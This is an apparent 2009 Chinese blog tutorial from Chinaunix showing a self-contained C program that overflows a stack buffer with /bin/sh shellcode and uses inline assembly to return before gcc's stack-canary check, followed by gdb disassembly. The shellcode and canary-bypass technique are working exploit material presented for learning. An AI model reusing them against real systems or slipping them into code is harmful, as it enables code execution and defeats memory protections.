Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1292983
  • 博文数量: 196
  • 博客积分: 4141
  • 博客等级: 中将
  • 技术积分: 2253
  • 用 户 组: 普通用户
  • 注册时间: 2009-03-21 20:04
文章存档

2019年(31)

2016年(1)

2014年(16)

2011年(8)

2010年(25)

2009年(115)

分类: 网络与安全

2009-03-22 14:10:55

实验环境:
          操作系统: ubuntu 8.04
          编译器 : gcc 4.2.3

上篇文章题到了通过添加一些嵌入式汇编代码,可以跳过编译器的保护措施。现在就根据这个思想,介绍具体的实施细节。

下面现给出了具体的代码:

#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];
unsigned int old_ecx;

int main(int argc, char **argv)
{
        char buffer[96];
        int i;

        /*
         * 确保寄存器esp值的正确性,因为最后eip是从栈中取出,而esp的值取决于ecx
         */

        __asm__(
        "movl %%ecx,%0\n\r"
        :"=m"(old_ecx)
        );

        long *long_ptr = (long *) large_string;
        for (i = 0; i < 32; i++)
                *(long_ptr + i) = (int) buffer;
        for (i = 0; i < (int) strlen(shellcode); i++)
                large_string[i] = shellcode[i];

        strcpy(buffer, large_string);

        /*
         * 以下汇编代码在检查堆栈溢出之前就ret,避开了堆栈检测。
         * 同时赋予ecx正确的值,进而确保了最后能够获取所需的eip的值
         */

        __asm__(
        "movl %0,%%ecx"
        ::"m"(old_ecx)
        );
        __asm__(
        "lea -0x4(%ecx),%esp\n\r"
        );
        __asm__(
        "ret\n\r"
        );

        return 0;
}

现在我们来讲解为什么要添加这些嵌入式汇编代码。下面是在这个代码在我的机器上的反汇编代码:

GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048404 <main+0>: lea 0x4(%esp),%ecx
0x08048408 <main+4>: and $0xfffffff0,%esp
0x0804840b <main+7>: pushl -0x4(%ecx)
0x0804840e <main+10>: push %ebp
0x0804840f <main+11>: mov %esp,%ebp
0x08048411 <main+13>: push %ecx
0x08048412 <main+14>: sub $0x84,%esp
0x08048418 <main+20>: mov 0x4(%ecx),%eax
0x0804841b <main+23>: mov %eax,-0x78(%ebp)
0x0804841e <main+26>: mov %gs:0x14,%eax
0x08048424 <main+32>: mov %eax,-0x8(%ebp)
0x08048427 <main+35>: xor %eax,%eax
0x08048429 <main+37>: mov %ecx,0x80497a0
0x0804842f <main+43>: movl $0x8049720,-0x70(%ebp)
0x08048436 <main+50>: movl $0x0,-0x6c(%ebp)
0x0804843d <main+57>: jmp 0x8048453 <main+79>
0x0804843f <main+59>: mov -0x6c(%ebp),%eax
0x08048442 <main+62>: shl $0x2,%eax
0x08048445 <main+65>: mov %eax,%edx
0x08048447 <main+67>: add -0x70(%ebp),%edx
0x0804844a <main+70>: lea -0x68(%ebp),%eax
0x0804844d <main+73>: mov %eax,(%edx)
0x0804844f <main+75>: addl $0x1,-0x6c(%ebp)
0x08048453 <main+79>: cmpl $0x1f,-0x6c(%ebp)
0x08048457 <main+83>: jle 0x804843f <main+59>
0x08048459 <main+85>: movl $0x0,-0x6c(%ebp)
0x08048460 <main+92>: jmp 0x8048479 <main+117>
0x08048462 <main+94>: mov -0x6c(%ebp),%eax
0x08048465 <main+97>: mov -0x6c(%ebp),%edx
0x08048468 <main+100>: movzbl 0x80496c0(%edx),%edx
0x0804846f <main+107>: mov %dl,0x8049720(%eax)
0x08048475 <main+113>: addl $0x1,-0x6c(%ebp)
0x08048479 <main+117>: movl $0x80496c0,(%esp)
0x08048480 <main+124>: call 0x8048344 <strlen@plt>
0x08048485 <main+129>: cmp -0x6c(%ebp),%eax
0x08048488 <main+132>: jg 0x8048462 <main+94>
0x0804848a <main+134>: movl $0x8049720,0x4(%esp)
0x08048492 <main+142>: lea -0x68(%ebp),%eax
0x08048495 <main+145>: mov %eax,(%esp)
0x08048498 <main+148>: call 0x8048354 <strcpy@plt>
0x0804849d <main+153>: mov 0x80497a0,%ecx
0x080484a3 <main+159>: lea -0x4(%ecx),%esp
0x080484a6 <main+162>: ret
---Type <return> to continue, or q <return> to quit---
0x080484a7 <main+163>: mov $0x0,%eax
0x080484ac <main+168>: mov -0x8(%ebp),%edx
0x080484af <main+171>: xor %gs:0x14,%edx
0x080484b6 <main+178>: je 0x80484bd <main+185>
0x080484b8 <main+180>: call 0x8048364 <__stack_chk_fail@plt>
0x080484bd <main+185>: add $0x84,%esp
0x080484c3 <main+191>: pop %ecx
0x080484c4 <main+192>: pop %ebp
0x080484c5 <main+193>: lea -0x4(%ecx),%esp
0x080484c8 <main+196>: ret
End of assembler dump.
(gdb)

红色部分是编译器添加的保护缓冲区溢出的代码,蓝色的部分是我们添加的嵌入式汇编代码,用来跳过缓冲区溢出检测。

 

关于shellcode之类的详细机制,可以参看《Linux下缓冲区溢出攻击的原理及对策》,这里就不详细说明了。

阅读(1872) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~